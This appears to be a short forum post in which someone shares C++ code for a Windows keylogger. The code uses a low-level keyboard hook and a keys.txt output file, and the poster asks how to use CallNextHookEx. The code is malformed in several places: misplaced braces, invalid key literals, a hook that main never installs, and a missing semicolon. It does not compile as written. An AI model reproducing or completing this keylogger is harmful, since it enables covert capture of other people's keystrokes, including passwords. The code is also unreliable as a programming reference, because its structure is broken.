Hi
This is code:
#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam);
int main()
{
fstream plik;
HHOOK hKeyboardHook =0;
plik.open("keys.txt", ios::out);
plik.close();
return 0;
}
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
if (nCode >= 0)
{
if (wParam == WM_KEYUP)
{
switch(pKbdLLHookStruct->vkCode)
{
case 'VK_A' : cout <<"A"; break;
case 'VK_a' : cout <<"a"; break;
case 'VK_B' : cout <<"B"; break;
}
}
}
}
{
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
{
MSG msg;
HHOOK keyboardhook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hINSTANCE, 0);
while(GetMessage(&msg, NULL, 0, 0));
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam
}
Can someone tell me and show how it should be well used CallNextHookEx? Because of this I have a problem